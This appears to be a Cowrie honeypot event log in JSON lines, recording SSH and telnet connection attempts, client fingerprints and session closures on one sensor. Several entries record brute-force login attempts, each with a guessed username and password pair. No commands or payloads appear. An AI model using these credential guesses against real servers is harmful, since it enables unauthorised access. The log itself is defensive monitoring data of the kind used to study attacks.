{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38912,"dst_ip":"10.17.0.5","dst_port":23,"session":"a96df4a5656b","protocol":"telnet","message":"New connection: 192.119.13.58:38912 (10.17.0.5:23) [session: a96df4a5656b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:56.718181Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":39476,"dst_ip":"10.17.0.5","dst_port":22,"session":"a79fdfb7c342","protocol":"ssh","message":"New connection: 115.68.226.124:39476 (10.17.0.5:22) [session: a79fdfb7c342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:57.032102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:57.037327Z","src_ip":"115.68.226.124","session":"a79fdfb7c342","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:57.245683Z","src_ip":"115.68.226.124","session":"a79fdfb7c342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.86457395553589,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:57.465603Z","src_ip":"192.119.13.58","session":"665f910f87ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.94805073738098,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:57.774646Z","src_ip":"192.119.13.58","session":"1e389a239709","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZXCDE","message":"login attempt [root/!QAZXCDE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:58.109663Z","src_ip":"115.68.226.124","session":"a79fdfb7c342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:59.330197Z","src_ip":"115.68.226.124","session":"a79fdfb7c342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.928321123123169,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:01.156421Z","src_ip":"192.119.13.58","session":"64337d1ded58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.384765148162842,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:02.102807Z","src_ip":"192.119.13.58","session":"a96df4a5656b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.02493214607239,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:06.309523Z","src_ip":"192.119.13.58","session":"41c7c68c9e8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":35586,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f357d59b512","protocol":"ssh","message":"New connection: 40.83.182.122:35586 (10.17.0.5:22) [session: 2f357d59b512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:10.216385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:10.221258Z","src_ip":"40.83.182.122","session":"2f357d59b512","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:10.298845Z","src_ip":"40.83.182.122","session":"2f357d59b512","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jsu","message":"login attempt [root/jsu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:10.639477Z","src_ip":"40.83.182.122","session":"2f357d59b512","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:11.721191Z","src_ip":"40.83.182.122","session":"2f357d59b512","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59854,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebcffd6204c7","protocol":"telnet","message":"New connection: 192.119.13.58:59854 (10.17.0.5:23) [session: ebcffd6204c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:15.100907Z"}
{"eventid":"cowrie.session.closed","duration":30.711098670959473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:15.407112Z","src_ip":"192.119.13.58","session":"0bc2c1b4440a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.6202929019928,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:17.078382Z","src_ip":"192.119.13.58","session":"f7df7eb2ae47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":44365,"dst_ip":"10.17.0.5","dst_port":22,"session":"eddafd512573","protocol":"ssh","message":"New connection: 201.249.192.30:44365 (10.17.0.5:22) [session: eddafd512573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:23.079115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:23.084168Z","src_ip":"201.249.192.30","session":"eddafd512573","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:23.157202Z","src_ip":"201.249.192.30","session":"eddafd512573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P4ssw0rd!","message":"login attempt [root/P4ssw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:23.481104Z","src_ip":"201.249.192.30","session":"eddafd512573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:24.557323Z","src_ip":"201.249.192.30","session":"eddafd512573","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45188,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa4c45ae8751","protocol":"telnet","message":"New connection: 192.119.13.58:45188 (10.17.0.5:23) [session: fa4c45ae8751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:24.951547Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51824,"dst_ip":"10.17.0.5","dst_port":23,"session":"d761ae4f2819","protocol":"telnet","message":"New connection: 192.119.13.58:51824 (10.17.0.5:23) [session: d761ae4f2819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:26.454622Z"}
{"eventid":"cowrie.session.closed","duration":52.031275510787964,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:27.854996Z","src_ip":"192.119.13.58","session":"25b0890208c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.09614562988281,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:29.133122Z","src_ip":"192.119.13.58","session":"285c859a40fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50812,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc4ae487bf10","protocol":"telnet","message":"New connection: 192.119.13.58:50812 (10.17.0.5:23) [session: cc4ae487bf10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:33.169020Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":34012,"dst_ip":"10.17.0.5","dst_port":22,"session":"693508e34449","protocol":"ssh","message":"New connection: 49.51.73.108:34012 (10.17.0.5:22) [session: 693508e34449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:33.731448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:33.736095Z","src_ip":"49.51.73.108","session":"693508e34449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:33.803764Z","src_ip":"49.51.73.108","session":"693508e34449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"actions","password":"actions","message":"login attempt [actions/actions] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:34.105095Z","src_ip":"49.51.73.108","session":"693508e34449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52294,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1755e3cd4a2","protocol":"telnet","message":"New connection: 192.119.13.58:52294 (10.17.0.5:23) [session: d1755e3cd4a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:34.578582Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:35.176058Z","src_ip":"49.51.73.108","session":"693508e34449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.84821033477783,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:39.261148Z","src_ip":"192.119.13.58","session":"e10e30d5c84d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48490,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c8491aac073","protocol":"telnet","message":"New connection: 192.119.13.58:48490 (10.17.0.5:23) [session: 3c8491aac073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:47.058698Z"}
{"eventid":"cowrie.session.closed","duration":34.17627787590027,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:49.277067Z","src_ip":"192.119.13.58","session":"ebcffd6204c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":55128,"dst_ip":"10.17.0.5","dst_port":22,"session":"32f1f703a0f9","protocol":"ssh","message":"New connection: 193.39.208.26:55128 (10.17.0.5:22) [session: 32f1f703a0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:56.973397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:56.978070Z","src_ip":"193.39.208.26","session":"32f1f703a0f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:57.060985Z","src_ip":"193.39.208.26","session":"32f1f703a0f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpn","message":"login attempt [root/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:57.426179Z","src_ip":"193.39.208.26","session":"32f1f703a0f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43146,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a9e471354ba","protocol":"telnet","message":"New connection: 192.119.13.58:43146 (10.17.0.5:23) [session: 8a9e471354ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:58.139046Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:58.511859Z","src_ip":"193.39.208.26","session":"32f1f703a0f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":38274,"dst_ip":"10.17.0.5","dst_port":22,"session":"46545dc12cd4","protocol":"ssh","message":"New connection: 103.164.9.74:38274 (10.17.0.5:22) [session: 46545dc12cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:59.219904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:59.224723Z","src_ip":"103.164.9.74","session":"46545dc12cd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:19:59.416371Z","src_ip":"103.164.9.74","session":"46545dc12cd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZXCDE","message":"login attempt [root/!QAZXCDE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:00.213070Z","src_ip":"103.164.9.74","session":"46545dc12cd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:01.409471Z","src_ip":"103.164.9.74","session":"46545dc12cd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.10798096656799,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:02.562371Z","src_ip":"192.119.13.58","session":"d761ae4f2819","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.24152445793152,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:09.192909Z","src_ip":"192.119.13.58","session":"fa4c45ae8751","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.026121854782104,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:11.195075Z","src_ip":"192.119.13.58","session":"cc4ae487bf10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.56810402870178,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:13.146480Z","src_ip":"192.119.13.58","session":"d1755e3cd4a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":15297,"dst_ip":"10.17.0.5","dst_port":22,"session":"93595f749804","protocol":"ssh","message":"New connection: 2.57.121.112:15297 (10.17.0.5:22) [session: 93595f749804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:13.661588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:13.666736Z","src_ip":"2.57.121.112","session":"93595f749804","protocol":"ssh"}
